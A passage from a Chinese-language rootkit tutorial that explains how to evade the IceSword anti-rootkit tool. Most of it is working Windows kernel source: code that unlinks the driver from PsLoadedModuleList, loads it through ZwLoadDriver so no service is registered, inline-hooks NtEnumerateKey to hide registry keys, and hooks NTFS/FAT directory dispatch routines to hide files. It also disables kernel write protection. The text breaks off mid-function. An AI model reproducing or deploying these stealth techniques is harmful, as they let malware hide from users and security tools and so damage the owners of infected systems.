          你可能發(fā)現(xiàn)上面這段代碼hook的也是NtQuerySystemInformation函數(shù),而在隱藏進程中不是已經(jīng)hook了NtQuerySystemInformation函數(shù),這樣不是造成重合了。在實際操作中,你只要hook一次NtQuerySystemInformation函數(shù),然后在自己定義NewNtQuerySystemInformation中增加幾個選擇項就是了。我這樣寫是為了便于理解,使它們每個部分自成一體,如果按實際代碼搬出來的話,顯得太支離破碎(支離破碎的支到底是這個“支”還是這個“肢”??)了。

          不知道pjf看到這里之后會不會想著給IS升級,增加IS檢測隱藏內核模塊的功能,因此下面一并給出了如何在PsLoadedModuleList鏈表刪除自身的代碼,關于如何獲取PsLoadedModuleList這個內核變量的地址我就不說了,不了解的請參看TK的《獲取Windows 系統(tǒng)的內核變量》。PsLoadedModuleList所指向的是結構是_MODULE_ENTRY,微軟沒有給出定義,但是uzen_op(fuzen_op@yahoo.com)在FU_Rootkit2.0的資源中給出了MODULE_ENTRY的結構定義如下:
      typedef struct _MODULE_ENTRY {
          LIST_ENTRY le_mod;
          DWORD  unknown[4];
          DWORD  base;
          DWORD  driver_start;
          DWORD  unk1;
          UNICODE_STRING driver_Path;
          UNICODE_STRING driver_Name;
      } MODULE_ENTRY, *PMODULE_ENTRY;

      進一步分析后發(fā)現(xiàn)上述結構中的unk1成員的值其實就是該模塊文件的大小.從新對該結構定義如下:

      typedef struct _MODULE_ENTRY {
          LIST_ENTRY le_mod;
          DWORD  unknown[4];
          DWORD  base;
          DWORD  driver_start;
          DWORD  Size;
          UNICODE_STRING driver_Path;
          UNICODE_STRING driver_Name;
      } MODULE_ENTRY, *PMODULE_ENTRY;

          PsLoadedModuleList指向的是一個帶表頭的雙向鏈表,該鏈表的表頭所指向的第一個MODULE_ENTRY的就是ntoskrnl.exe,此時它的base成員的值就是ntoskrnl.exe在內存中的起始地址.這是就可以順手取一下NtoskrnlBase的值。
          有一點要注意的是,如果DriverEntry()例程未返回STATUS_SUCCESS之前。系統(tǒng)不會把你加入到PsLoadedModuleList鏈表中,此時你在PsLoadedModuleList中是找不到自己的。當然為了這個而寫一個分發(fā)例程也行。我是在自己hook的那些系統(tǒng)函數(shù)中設了一個閥值,閥值初始值為“開”,這樣系統(tǒng)調用這個函數(shù)時都會先檢測閥值是否是“開”,是的話跑到PsLoadedModuleList找一下我們的模塊是否存在,存在的話說明DriverEntry()已經(jīng)返回成功,馬上把自己從PsLoadedModuleList鏈表中刪除,然后把閥值設成“關”,這樣系統(tǒng)下次調用這個函數(shù)時發(fā)現(xiàn)閥值是“關”的就不會傻乎乎的又跑到PsLoadedModuleList中去摟一遍了。

      DWORD NtoskrnlBase=0;
      DWORD PsLoadedModuleListPtr=0;

      typedef struct _MODULE_ENTRY {

          LIST_ENTRY le_mod;
          DWORD  unknown[4];
          DWORD  base;
          DWORD  driver_start;
          DWORD  Size;
          UNICODE_STRING driver_Path;
          UNICODE_STRING driver_Name;
      } MODULE_ENTRY, *PMODULE_ENTRY;

      NTSTATUS GetPsLoadedModuleListPtr()
      {
          UNICODE_STRING  UStrName;
          DWORD KdEnableDebuggerAddr;
          DWORD InitSystem=0;
          DWORD KdDebuggerDataBlock=0;
          PMODULE_ENTRY NtosModPtr;
          unsigned char * DebuggerDataBlockPtr;
          unsigned char * Sysinit;
          int i,j;
              
              RtlInitUnicodeString (
                          &UStrName,
                          L"KdEnableDebugger" );

              KdEnableDebuggerAddr=(DWORD)MmGetSystemRoutineAddress( &UStrName );                                                
              
              if ( !KdEnableDebuggerAddr )
              {
                  return STATUS_DEVICE_CONFIGURATION_ERROR;
              }
              
              for (i=0, Sysinit = (unsigned char * )KdEnableDebuggerAddr; i<0x50; i++, Sysinit++)
              {
                  if ( (*Sysinit) == 0xc6 && (*(Sysinit+0x1)) == 0x05 && (*(Sysinit+0x6)) == 0x01 && (*(Sysinit+0x7)) == 0xE8 )
                  {
                      _asm
                      {
                          pushad
                          mov edi, Sysinit
                          mov eax, [edi+0x8]
                          add edi, 0xC
                          add edi, eax
                          mov InitSystem, edi
                          popad
                      }
                  }
                  if ( InitSystem != 0) break;

              }

              if ( InitSystem == 0 )
              {
                  return STATUS_DEVICE_CONFIGURATION_ERROR;
              }
              
              for ( i=0, DebuggerDataBlockPtr = (unsigned char * )InitSystem; i<0x70; i++,DebuggerDataBlockPtr++)
              {

                  if ( *((DWORD*)DebuggerDataBlockPtr) == 0x4742444b )
                  {
                      DebuggerDataBlockPtr--;
                      DebuggerDataBlockPtr--;

                      for (j=0; j<0x10; j++, DebuggerDataBlockPtr--)
                      {
                          if ( *DebuggerDataBlockPtr == 0x68 )
                          {
                              _asm
                              {
                                  pushad
                                  mov edi, DebuggerDataBlockPtr
                                  inc edi
                                  mov eax, [edi]
                                  mov KdDebuggerDataBlock, eax
                                  popad
                              }
                              break;
                          }
                      }
                      
                  }

                  if ( KdDebuggerDataBlock != 0 )
                  {
                      break;
                  }
              }

              if ( KdDebuggerDataBlock == 0 )
              {
                  return STATUS_DEVICE_CONFIGURATION_ERROR;
              }

              _asm
              {
                  pushad
                  mov edi, KdDebuggerDataBlock
                  mov eax, [edi+0x48]
                  mov PsLoadedModuleListPtr, eax
                  popad
              }

              if ( PsLoadedModuleListPtr == 0 )
              {
                  return STATUS_DEVICE_CONFIGURATION_ERROR;
              }
              
              //獲取 Ntoskrnl 的起始地址
              NtosModPtr = ( PMODULE_ENTRY ) PsLoadedModuleListPtr;
              NtosModPtr = ( PMODULE_ENTRY ) (NtosModPtr->le_mod.Flink );  
              NtoskrnlBase = (DWORD) ( NtosModPtr->base );

              return STATUS_SUCCESS;

      }

      NTSTATUS RemoveModule ( )
      {
          DWORD RemoveModleAddr;
          PMODULE_ENTRY PModPtr_Current;
          PMODULE_ENTRY PModPtr_Flink;
          PMODULE_ENTRY PModPtr_Blink;

                  PModPtr_Current=(PMODULE_ENTRY)PsLoadedModuleListPtr;
                  


                  PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Current->le_mod.Flink);

                  //Get RemoveModle Addr

                  RemoveModleAddr= DriverAddr;

                  for ( ; PModPtr_Flink->le_mod.Flink != (PLIST_ENTRY) PModPtr_Current ; PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink) )
                  {
                      if ( RemoveModleAddr > ((DWORD)PModPtr_Flink->base) && RemoveModleAddr < ((DWORD)(PModPtr_Flink->Size) + ((DWORD)PModPtr_Flink->base)) )
                      {
                          PModPtr_Blink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Blink);
                          PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink);
                          PModPtr_Blink->le_mod.Flink= (PLIST_ENTRY)PModPtr_Flink;
                          PModPtr_Flink->le_mod.Blink= (PLIST_ENTRY)PModPtr_Blink;
                          IsDelModule=TRUE;
                          break;
                      }
                  }
                  if ( IsDelModule != TRUE )
                  {
                      return STATUS_DEVICE_CONFIGURATION_ERROR;
                  }
                  return STATUS_SUCCESS;

      }

          上面這兩個函數(shù)中,GetPsLoadedModuleListPtr()是通過特征碼搜索獲取KdDebuggerDataBlock的位置,使用特征碼搜索辦法雖然不是很好,但是通用性強。然后再以此獲取PsLoadedModuleList地址,RemoveModule()用來實現(xiàn)在PsLoadedModuleList鏈表中刪除自己。在PsLoadedModuleList中定位的方法也是使用上面利用DriverAddr定位。


      五、隱藏服務:

          普通情況下加載驅動需要 OpenSCManager->CreateService->StartService,這樣驅動就會跑到服務管理器中去注冊一下自己,并且要隱藏這樣加載驅動的服務,不是不行,只是太麻煩而且沒效率了。要hook一大堆的服務函數(shù)。不過在逆向IS的時候發(fā)現(xiàn)了一個不需要去服務管理器注冊而直接加載驅動的方法。就是使用ZwLoadDriver(這個函數(shù)通常是ring0中加載驅動時用,由于被Ntdll.dll導出,ring3就也能用了)進行直接加載。這樣就不用去服務管理器中注冊自己,并且這樣加載的驅動windows系統(tǒng)工具中的“系統(tǒng)信息”查看器也查不到你,更不用說那些什么服務管理器之類的東東了。屢用不爽。下面介紹一下用法:

          1、首先自己在注冊表的服務項中添加一個自己的服務名字項。
          2、在自己添加的服務名字項中添加一些驅動信息(其實就是手工實現(xiàn)CreateService()函數(shù)對注冊表的那些操作),這些信息包括“ErrorControl”,“ImagePath”,“Start”,“Type”等等。你要手工設置這些鍵以及鍵值。

      按上面設置完后,來看看ZwLoadDriver的原形:

      NTSTATUS
          ZwLoadDriver(
          IN PUNICODE_STRING DriverServiceName );

      下面的代碼給出了ZwLoadDriver的使用例子:

      AnotherWayStartService( TCHAR *szDir )
      {
          HKEY RegKey;
          HKEY hLicenses;
          DWORD disp;
          DWORD ErrorControl=NULL;
          DWORD ProcessID;
          DWORD Start=3;
          DWORD Type=1;
          LONG Regrt;

          DWORD ZwLoadDriver;
          DWORD RtlInitUnicodeString;
          
          UNICODE_STRING RegService;

          PCWSTR    RegServicePath= L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath";

          TCHAR    DriverFilePath[MAX_PATH] = "\\??\\";


              Regrt = RegOpenKeyEx (
                          HKEY_LOCAL_MACHINE,
                          "SYSTEM\\CurrentControlSet\\Services",
                          0,
                          KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
                          &hLicenses );

              if ( Regrt != ERROR_SUCCESS )
              {
                  return false;
              }

              Regrt=RegCreateKeyEx (
                          hLicenses,
                          "neverdeath",
                          0,
                          "",
                          REG_OPTION_NON_VOLATILE,
                          KEY_ALL_ACCESS,
                          NULL,
                          &RegKey,
                          &disp );

              if ( Regrt != ERROR_SUCCESS )
              {
                  return false;
              }

                  Regrt = RegOpenKeyEx (
                              HKEY_LOCAL_MACHINE,
                              "SYSTEM\\CurrentControlSet\\Services\\neverdeath",
                              0,
                              KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
                              &RegKey );

              if ( Regrt != ERROR_SUCCESS )
              {
                  return false;
              }

              Regrt = RegSetValueEx (
                          RegKey,
                          "ErrorControl",
                          NULL,
                          REG_DWORD,
                          (const unsigned char *)(&ErrorControl),
                          4 );

              if ( Regrt != ERROR_SUCCESS )
              {
                  return false;
              }
              
              strcat(DriverFilePath, szDir);

              Regrt = RegSetValueEx (
                          RegKey,
                          "ImagePath",
                          NULL,
                          REG_EXPAND_SZ,
                          (const unsigned char *)(&DriverFilePath),
                          strlen( DriverFilePath ) );

              if ( Regrt != ERROR_SUCCESS )
              {
                  return false;
              }


              Regrt = RegSetValueEx (
                          RegKey,
                          "Start",
                          NULL,
                          REG_DWORD,
                          (const unsigned char *)(&Start),
                          4 );

              if ( Regrt != ERROR_SUCCESS )
              {
                  return false;
              }
              
              Regrt = RegSetValueEx (        
                          RegKey,
                          "Type",
                          NULL,
                          REG_DWORD,
                          (const unsigned char *)(&Type),
                          4 );

              if ( Regrt != ERROR_SUCCESS )
              {
                  return false;
              }

              //還記得前面隱藏進程時,我們進程ID是從注冊表中取的
              //下面就是把進程ID寫入注冊表,不會影響驅動的加載

              ProcessID=GetCurrentProcessId();    

              Regrt = RegSetValueEx (
                          RegKey,
                          "ProcessID",
                          NULL,
                          REG_DWORD,
                          (const unsigned char *)(&ProcessID),
                          4 );

              if ( Regrt != ERROR_SUCCESS )
              {
                  return false;
              }        
              
              CloseHandle( RegKey );


              ZwLoadDriver = (DWORD) GetProcAddress (
                                  GetModuleHandle( "ntdll.dll" ),
                                  "ZwLoadDriver" );

              RtlInitUnicodeString = (DWORD) GetProcAddress(
                                      GetModuleHandle( "ntdll.dll" ),
                                      "RtlInitUnicodeString" );
              
              _asm
              {
                  pushad
                  push RegServicePath
                  lea edi, RegService
                  push edi
                  call RtlInitUnicodeString    //裝載UNICODE字符

                  lea edi, RegService
                  push edi
                  call ZwLoadDriver    
                  popad
              }

              return true;

      }

      請注意上面這段代碼中加載驅動時所使用的注冊表路徑格式是:
      “\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath”
      而不是:
      “HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\neverdeath”
      也許你已經(jīng)想到了那么卸載驅動會不會就是函數(shù)“ZwUnloadDriver”?自己試一下不就知道了:)


      六、隱藏注冊表:

          IS處理注冊表并沒有什么新意,就是調用那些ZwCreateKey、ZwOpenKey、ZwQueryKey、ZwSetValueKey一類的注冊表操作函數(shù),通過偽造內核文件,所以這部分可以很輕松hook并實現(xiàn)隱藏。IS在這里玩了一個小花樣,在XP下,IS會在把從ntoskrnl.exe讀到的NtEnumerateKey起始地址的第三個字(注意是字,不是字節(jié)?。┫燃由?xD50后,再進行還原,因此你在偽造內核文件時必須先把自己構造的代碼的第三個字減去0xD50后再寫入到otoskrnl.exe中,否則就等著BSOD吧。而在2K中就不需要這些操作。這里主要是通過hook注冊表函數(shù)NtEnumerateKey來隱藏我們注冊中的“CurrentControlSet\Services”下的 “neverdeath”項以及“CurrentControlSet\Enum\Root”下的“LEGACY_NEVERDEATH”項。至于隱藏鍵與鍵值在這里就不說了,自己隨手寫一個就是了。順便提一下,由于windows的regedit也是調用這些函數(shù)訪問注冊表,所以如果你在IS中隱藏了注冊表也就等于在windows的regedit中隱藏了。以下代碼在XP下測試通過,如要在2K或2K3中運行,請根據(jù)需要自己進行取舍。
      由于NtEnumerateKey沒有被ntoskrnl.exe導出,這里利用
      NtEnumerateKey在服務表 偏移 = “NtDuplicateToken”在服務表中的偏移+2
      來獲取NtEnumerateKey地址。

      PCWSTR HideKey = L"neverdeath";
      PCWSTR HideKeyLEG = L"LEGACY_NEVERDEATH";

      unsigned char ResumCodeNtEnumerateKey[6];
      unsigned char CrackCodeNtEnumerateKey[6];
      unsigned char CrackCodeNtEnumerateKeyWriteFile[6];

      typedef NTSTATUS ( *NTENUMERATEKEY ) (
        IN HANDLE            KeyHandle,
        IN ULONG            Index,
        IN KEY_INFORMATION_CLASS  KeyInformationClass,
        OUT PVOID            KeyInformation,
        IN ULONG            Length,
        OUT PULONG        ResultLength );

      NTENUMERATEKEY OldNtEnumerateKey;

      typedef struct ServiceDescriptorEntry {
          unsigned int *ServiceTableBase;
          unsigned int *ServiceCounterTableBase; //Used only in checked build
          unsigned int NumberOfServices;
          unsigned char *ParamTableBase;
      } ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;

      extern PServiceDescriptorTableEntry KeServiceDescriptorTable;

      NTSTATUS NewNtEnumerateKey(

        IN HANDLE            KeyHandle,
        IN ULONG            Index,
        IN KEY_INFORMATION_CLASS  KeyInformationClass,
        OUT PVOID            KeyInformation,
        IN ULONG            Length,
        OUT PULONG        ResultLength )
      {
          NTSTATUS Status;
          PCWSTR KeyNamePtr;


                  _asm  //還原
                  {
                      pushad
                      mov edi, OldNtEnumerateKey
                      mov eax, dword ptr ResumCodeNtEnumerateKey[0]
                      mov [edi], eax
                      mov ax, word ptr ResumCodeNtEnumerateKey[4]
                      mov [edi+4], ax
                      popad
                  }

                  Status = ZwEnumerateKey (
                                  KeyHandle,
                                  Index,
                                  KeyInformationClass,
                                  KeyInformation,
                                  Length,
                                  ResultLength );
              
                  
                  if ( Status == STATUS_SUCCESS )
                  {
                       _asm
                       {
                          push edi
                          mov edi, KeyInformation
                          add edi, 0x10
                          mov KeyNamePtr, edi
                          pop edi
                       }
                       if ( wcsstr(KeyNamePtr, HideKey)!=NULL || wcsstr(KeyNamePtr, HideKeyLEG) != NULL )
                       {
                           Index=Index+1;
                           Status = OldNtEnumerateKey (
                                          KeyHandle,
                                          Index,
                                          KeyInformationClass,
                                          KeyInformation,
                                          Length,
                                          ResultLength );
                       }
                  }
                  
                  _asm //替換
                  {
                      pushad
                      mov edi, OldNtEnumerateKey
                      mov eax, dword ptr CrackCodeNtEnumerateKey[0]
                      mov [edi], eax
                      mov ax, word ptr CrackCodeNtEnumerateKey[4]
                      mov [edi+4], ax
                      popad
                  }
                  return Status;

      }
      NTSTATUS GetOldNtEnumerateKey()
      {
          DWORD NtDuplicateTokenAddr;
          int i=0;

                  NtDuplicateTokenAddr = GetFunctionAddr( L"NtDuplicateToken" );

                  if ( NtDuplicateTokenAddr == NULL )
                  {
                      DbgPrint("Get NtQuerySystemInformation Addr Error!!");
                      return STATUS_DEVICE_CONFIGURATION_ERROR;
                  }

                  for (;;i++)
                  {
                      if ( NtDuplicateTokenAddr == (DWORD)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + i)) )
                      {
                          OldNtEnumerateKey = (NTENUMERATEKEY)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + (i+2)));
                          break;
                      }
                  }
                  return STATUS_SUCCESS;

      }

      NTSTATUS PatchNtEnumerateKey()
      {
          NTSTATUS Status;
                                                                        

                  Status = GetOldNtEnumerateKey();

                  if ( Status != STATUS_SUCCESS )
                  {
                      DbgPrint("Get NtQuerySystemInformation Addr Error!!");
                      return STATUS_DEVICE_CONFIGURATION_ERROR;
                  }

                  _asm    //關中斷
                  {
                      CLI            
                      MOV    EAX, CR0    
                      AND EAX, NOT 10000H  
                      MOV    CR0, EAX        
                  }

                  _asm
                  {
                      pushad
                      //獲取 NtEnumerateKey 函數(shù)的地址并保留該函數(shù)的起始六個字節(jié)
                      mov edi, OldNtEnumerateKey
                      mov eax, [edi]
                      mov dword ptr ResumCodeNtEnumerateKey[0], eax
                      mov ax, [edi+4]
                      mov word  ptr ResumCodeNtEnumerateKey[4], ax
                      
                      //構造要替換的代碼,使得系統(tǒng)調用該函數(shù)時跳到我們構造的NewNtEnumerateKey去執(zhí)行

                      mov byte ptr CrackCodeNtEnumerateKey[0], 0x68
                      mov byte ptr CrackCodeNtEnumerateKeyWriteFile[0],0x68
                      lea edi, NewNtEnumerateKey
                      mov dword ptr CrackCodeNtEnumerateKey[1], edi
                      mov dword ptr CrackCodeNtEnumerateKeyWriteFile[1], edi
                      mov byte ptr CrackCodeNtEnumerateKey[5], 0xc3
                      mov byte ptr CrackCodeNtEnumerateKeyWriteFile[5], 0xc3
          
                      //把第NtEnumerateKey的第三個字減去D50在送回
                      mov ax, word ptr CrackCodeNtEnumerateKeyWriteFile[4]
                      sub ax, 0xD50
                      mov word ptr CrackCodeNtEnumerateKeyWriteFile[4], ax


                      //把構造好的代碼進行替換
                      mov edi, OldNtEnumerateKey
                      mov eax, dword ptr CrackCodeNtEnumerateKey[0]
                      mov dword ptr[edi], eax
                      mov ax, word ptr CrackCodeNtEnumerateKey[4]
                      mov word ptr[edi+4], ax
                      popad
                  }

                  _asm    //開中斷
                  {
                      MOV    EAX, CR0      
                      OR    EAX, 10000H            
                      MOV    CR0, EAX            
                      STI                    
                  }

                  Status = RepairNtosFile(
                                  (DWORD)OldNtEnumerateKey,
                                  //(DWORD)(&CrackCodeNtEnumerateKey) 2k
                                  (DWORD)(&CrackCodeNtEnumerateKeyWriteFile) ); //XP
                  return Status;

      }


      7、隱藏文件:

          終于寫到隱藏文件,在實現(xiàn)隱藏文件的過程中,越來越欣賞PJF。IS在獲取文件列表的過程時,迂回戰(zhàn)術簡直玩到了另人匪夷所思的地步!我花了很多時間(好幾次坐在機子面前十幾個小時想的腦袋都綠了卻一點收獲都沒有)才實現(xiàn)了不用IFS,不用attach文件設備直接而進行隱藏,當時我甚至去hook函數(shù)IoCallDriver函數(shù)(經(jīng)??吹接行┤薶ook這個函數(shù)失敗,便造謠此函數(shù)不能hook,其實是可以的,但是確實很麻煩,如果你也想試試,為了讓你少走彎路,好意提醒一下,請盡最大努力保護好寄存器?。﹣斫孬@系統(tǒng)所有的IRP包,然后分析,真是差點沒把我搞死!
          普通情況下,我們是通過發(fā)送IRP_MJ_DIRECTORY_CONTROL(0xC)請求給FSD來獲取文件列表的。獲取后的信息存在IRP->UserBuffer(0x3c)中。但是你會發(fā)現(xiàn)IS在獲取文件列表時并不發(fā)送IRP_MJ_DIRECTORY_CONTROL給FSD,而是發(fā)送IRP_MJ_DEVICE_CONTROL(0xE)請求給另外一個不知名設備。并且在該被請求完成后,你在完成的IRP數(shù)據(jù)中找不到任何有關文件名字的影子?;蛟S你便開始點一只煙,盯著屏幕直發(fā)楞,直想:“這怎么可能呢?”(呵呵,也許pjf要的就是這種效果)。

          邪惡的微軟總是想方設法的企圖蒙蔽我們,讓我們忽略本質!內核里面的那些什么對象啊、設備啊、這個啊、那個啊、所有亂七八糟的東東,從本質上來講還不都是一堆代碼與數(shù)據(jù)。IS不發(fā)送IRP_MJ_DIRECTORY_CONTROL請求不代表它不會調用這個例程。

          我對IS獲取文件列表的猜想(IS的anti Debug太強, 為了今年之內把這個搞定,因此沒時間再陪它耗下去了):

          單獨創(chuàng)造一個Device,這個Device的IRP_MJ_DEVICE_CONTROL例程中構造IRP與DEVICE_OBJECT后,直接調用IRP_MJ_DIRECTORY_CONTROL例程,這樣就避免了向文件設備發(fā)送請求但是還能獲取文件列表的目的了。關于在完成后的IRP包中無法獲取文件名的功能,其實只要在直接調用IRP_MJ_DIRECTORY_CONTROL例程之后,把IRP->UserBuffer中的內容轉移或加個密就輕易實現(xiàn)了。

          雖然這只是猜想,但是為了驗證我的想法。我單獨寫了個test證明我的想法是可行的。我不能確定IS就是這樣做,但我能確定如果你這樣做的話就能達到類似的效果。

          IS就是通過設置IO_COMPLETION_ROUTINE函數(shù)來第一時間處理完成后的結果,我們下面用的方法就是通過替換這個IO_COMPLETION_ROUTINE來搶先處理結果。我們處理完了再調用IS的IO_COMPLETION_ROUTINE函數(shù)。另外要說的是,由于IS用的MinorFunction是IRP_MN_QUERY_DIRECTORY,每次都肯定能返回一個文件名(哪怕已重復出現(xiàn))。而你在自己的IO_COMPLETION_ROUTINE中如果檢測到是自己要隱藏的文件名的話,不能不調用原先IS的IO_COMPLETION_ROUTINE,否則BSOD。因此你只能更改文件屬性了,更改文件屬性也能達到隱藏的目的。還記不記的以前DOS時代的[.]與[..]文件夾嗎(那片笑聲讓我想起我的那些文件夾)。當返回你要隱藏的文件時信息,把這些信息全都替換成[.]或[..]文件夾屬性(當然包括文件名信息了)就行了。

          下面的代碼先獲取FSD設備的IRP_MJ_DIRECTORY_CONTROL分派函數(shù)的地址,然后對該函數(shù)進行hook。在我們構造的新的IRP_MJ_DIRECTORY_CONTROL分派函數(shù)中通過IO_STACK_LOCATION中的Length(+0x4)數(shù)值來判斷是否時IS(IS的Length很特殊,是0xfe8。平常的都是0x1000),是的話就進行替換IO_COMPLETION_ROUTINE。

          下的代碼在FAT32、NTFS、NTFS&FAT32中測試通過,在純Fat中也測試通過。

      PCWSTR    HideDirectory =L"neverdeath";
      PCWSTR    HideFile = L"otoskrnl.exe";

      DWORD NtfsUserbuf;
      DWORD NtfsFileName;
      DWORD NtfsLocaIrp;

      DWORD FatUserbuf;
      DWORD FatFileName;
      DWORD FatLocaIrp;

      typedef NTSTATUS  (*_DISPATCH)
      (
        IN PDEVICE_OBJECT  DeviceObject,
        IN OUT PIRP        Irp
      );

      _DISPATCH OldNtfsQueryDirectoryDispatch;
      _DISPATCH OldFatQueryDirectoryDispatch;

      PIO_COMPLETION_ROUTINE    OldNtfsCompletionRuntine;
      PIO_COMPLETION_ROUTINE  OldFatCompletionRuntine;

      NTSTATUS NewNtfsCompletionRuntine(
          IN PDEVICE_OBJECT DeviceObject,
          IN PIRP Irp,
          IN PVOID Context )
      {
          NTSTATUS Status;

                      _asm
                      {
                          pushad
                          mov edi, NtfsUserbuf
                          add edi, 0x5e
                          mov NtfsFileName, edi
                          popad
                      }
                      if ( wcsstr( NtfsFileName, HideDirectory ) ||  wcsstr( NtfsFileName, HideFile ) )
                      {
                          _asm
                          {
                              pushad
                              mov edi,NtfsUserbuf
                              mov eax, 0x16
                              mov dword ptr [edi+0x38], eax
                              mov eax, 0x04
                              mov dword ptr [edi+0x3c], eax
                              mov eax, 0x002e002e
                              mov dword ptr [edi+0x5e], eax
                              popad
                          }
                      }
                      Status = OldNtfsCompletionRuntine (
                                          DeviceObject,
                                          Irp,
                                          Context );                
                      return Status;
                      
      }

      NTSTATUS NewFatCompletionRuntine(
          IN PDEVICE_OBJECT DeviceObject,
          IN PIRP Irp,
          IN PVOID Context )
      {
          NTSTATUS Status;

                      _asm
                      {
                          pushad
                          mov edi, FatUserbuf
                          add edi, 0x5e
                          mov FatFileName, edi
                          popad
                      }
                      if ( wcsstr( FatFileName, HideDirectory ) ||  wcsstr( FatFileName, HideFile ) )
                      {
                          _asm
                          {
                              pushad
                              mov edi,FatUserbuf
                              mov eax, 0x16
                              mov dword ptr [edi+0x38], eax
                              mov eax, 0x04
                              mov dword ptr [edi+0x3c], eax
                              mov eax, 0x002e002e
                              mov dword ptr [edi+0x5e], eax
                              popad
                          }
                      }
                      Status = OldFatCompletionRuntine (
                                          DeviceObject,
                                          Irp,
                                          Context );                
                      return Status;
                      
      }

      NTSTATUS NewNtfsQueryDirectoryDispatch (
        IN PDEVICE_OBJECT  DeviceObject,
        IN OUT PIRP        Irp )
      {
          NTSTATUS    Status;
          DWORD        QueryFile;


                      _asm
                      {
                          pushad
                          mov edi, OldNtfsQueryDirectoryDispatch
                          mov eax, dword ptr ResumCodeNtfsQueryDirectoryDispatch[0]
                          mov [edi], eax
                          mov ax, word ptr ResumCodeNtfsQueryDirectoryDispatch[4]
                          mov [edi+4], ax
                          popad
                      }

                      _asm
                      {
                          pushad
                          mov edi, Irp
                          mov eax, [edi+0x60]
                          mov ecx, [edi+0x3c]
                          mov edi, [eax+4]
                          mov QueryFile, edi
                          mov NtfsUserbuf, ecx
                          mov NtfsLocaIrp, eax
                          popad
                      }

                      if ( QueryFile == 0xfe8 )
                      {
                          _asm
                          {
                              pushad
                              mov edi, NtfsLocaIrp
                              mov eax, [edi+0x1c]
                              mov OldNtfsCompletionRuntine, eax
                              lea eax, NewNtfsCompletionRuntine
                              mov [edi+0x1c], eax
                              popad
                          }                
                      }


                      Status = OldNtfsQueryDirectoryDispatch (
                                              DeviceObject,
                                              Irp );

                      _asm
                      {
                          pushad
                          mov edi, OldNtfsQueryDirectoryDispatch
                          mov eax, dword ptr CrackCodeNtfsQueryDirectoryDispatch[0]
                          mov [edi], eax
                          mov ax, word ptr CrackCodeNtfsQueryDirectoryDispatch[4]
                          mov [edi+4], ax
                          popad
                      }
                      return Status;
      }


      NTSTATUS NewFatQueryDirectoryDispatch (
        IN PDEVICE_OBJECT  DeviceObject,
        IN OUT PIRP        Irp )
      {
          NTSTATUS    Status;
          DWORD        QueryFile;


                      _asm
                      {
                          pushad
                          mov edi, OldFatQueryDirectoryDispatch
                          mov eax, dword ptr ResumCodeFatQueryDirectoryDispatch[0]
                          mov [edi], eax
                          mov ax, word ptr ResumCodeFatQueryDirectoryDispatch[4]
                          mov [edi+4], ax
                          popad
                      }

                      _asm
                      {
                          pushad
                          mov edi, Irp
                          mov eax, [edi+0x60]
                          mov ecx, [edi+0x3c]
                          mov edi, [eax+4]
                          mov QueryFile, edi
                          mov FatUserbuf, ecx
                          mov FatLocaIrp, eax
                          popad
                      }

                      if ( QueryFile == 0xfe8 )
                      {
                          _asm
                          {
                              pushad
                              mov edi, FatLocaIrp
                              mov eax, [edi+0x1c]
                              mov OldFatCompletionRuntine, eax
                              lea eax, NewFatCompletionRuntine
                              mov [edi+0x1c], eax
                              popad
                          }                
                      }


                      Status = OldFatQueryDirectoryDispatch  (
                                              DeviceObject,
                                              Irp );

                      _asm
                      {
                          pushad
                          mov edi, OldFatQueryDirectoryDispatch
                          mov eax, dword ptr CrackCodeFatQueryDirectoryDispatch[0]
                          mov [edi], eax
                          mov ax, word ptr CrackCodeFatQueryDirectoryDispatch[4]
                          mov [edi+4], ax
                          popad
                      }
                      return Status;
      }

      NTSTATUS PatchFileSystemDevicePatDispatch()
      {
          NTSTATUS NtfsStatus;
          NTSTATUS FastFatStatus;
          UNICODE_STRING FileSystemName;
          PVOID FileDeviceObject;
          POBJECT_TYPE ObjectType;
          
              DbgPrint("My Driver Loaded!");

              RtlInitUnicodeString( &FileSystemName, L"\\FileSystem\\Ntfs" );

              NtfsStatus = ObReferenceObjectByName  (  
                                      &FileSystemName,  
                                      0x40,  
                                      NULL,  
                                      NULL,  
                                      &ObjectType,  
                                      NULL,  
                                      NULL,  
                                      &FileDeviceObject );
              if  ( NtfsStatus == STATUS_SUCCESS )
              {

                  _asm
              {
                  pushad
                  mov edi, FileDeviceObject
                  mov eax, [edi+0x68]
                  mov OldNtfsQueryDirectoryDispatch, eax
                  popad
              }

          
                  _asm
              {
                  CLI                  
                  MOV    EAX, CR0      
                  AND EAX, NOT 10000H
                  MOV    CR0, EAX      
              }

                    _asm
              {
                  pushad
                  mov edi, OldNtfsQueryDirectoryDispatch
                  mov eax, [edi]
                  mov dword ptr ResumCodeNtfsQueryDirectoryDispatch[0], eax
                  mov ax, [edi+4]
                  mov word  ptr ResumCodeNtfsQueryDirectoryDispatch[4], ax
                  
                  mov byte ptr CrackCodeNtfsQueryDirectoryDispatch[0], 0x68
                  lea edi, NewNtfsQueryDirectoryDispatch
                  mov dword ptr CrackCodeNtfsQueryDirectoryDispatch[1], edi
                  mov byte ptr CrackCodeNtfsQueryDirectoryDispatch[5], 0xC3

                  mov edi, OldNtfsQueryDirectoryDispatch
                  mov eax, dword ptr CrackCodeNtfsQueryDirectoryDispatch[0]
                  mov dword ptr[edi], eax
                  mov ax, word ptr CrackCodeNtfsQueryDirectoryDispatch[4]
                  mov word ptr[edi+4], ax
                  popad
              }


                  _asm
              {
                  MOV    EAX, CR0      
                  OR    EAX, 10000H          
                  MOV    CR0, EAX              
                  STI                  
              }
              }


              RtlInitUnicodeString( &FileSystemName, L"\\FileSystem\\Fastfat" );

              FastFatStatus = ObReferenceObjectByName (  
                                      &FileSystemName,  
                                      0x40,  
                                      NULL,  
                                      NULL,  
                                      &ObjectType,  
                                      NULL,  
                                      NULL,  
